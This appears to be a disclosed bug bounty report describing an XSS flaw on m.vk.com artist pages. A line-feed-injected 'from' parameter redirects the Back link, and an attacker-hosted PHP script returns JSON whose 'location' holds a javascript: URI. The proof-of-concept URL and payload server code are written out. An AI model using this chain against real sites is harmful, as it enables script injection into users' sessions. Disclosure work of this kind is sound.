[m.vk.com] XSS на страницах /artist/

Summary

XSS при возвращении со страницы артиста.

Insufficient validation of the from parameter at the artist page allowed the attacker to inject external URLs into the "Back" link using the LF char:

https://m.vk.com/artist/marduk?from=%0A/external.com

<a href="/  /external.com" rel="noopener" title="Назад" onclick="return !nav.backToTabHistory(this);">

When clicked, an ajax request to its URL was sent. In case the response had JSON type, and the location key existed, its value was used as a redirection target, which allowed the attacker to perform XSS via the javascript: URI scheme:

<?php
    header ('Access-Control-Allow-Origin: *');
	header ('Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, HEAD');
	header ('Access-Control-Allow-Headers: Authorization, x-requested-with, x-ajax-nav');
	header ('Content-Type: application/json');
    
    http_response_code (201);

    echo '{
        "location":"javascript:alert(document.domain)",
        "hard":1,
        "version":"a3e370d711eed8a936b9fda7cdd428604668e845eaded4beefd7e7032ded0cf4",
        "counters":[0,0,0,0,0,0,0,0,0,0,0,0,0,0],
        "type":1
    }';
?>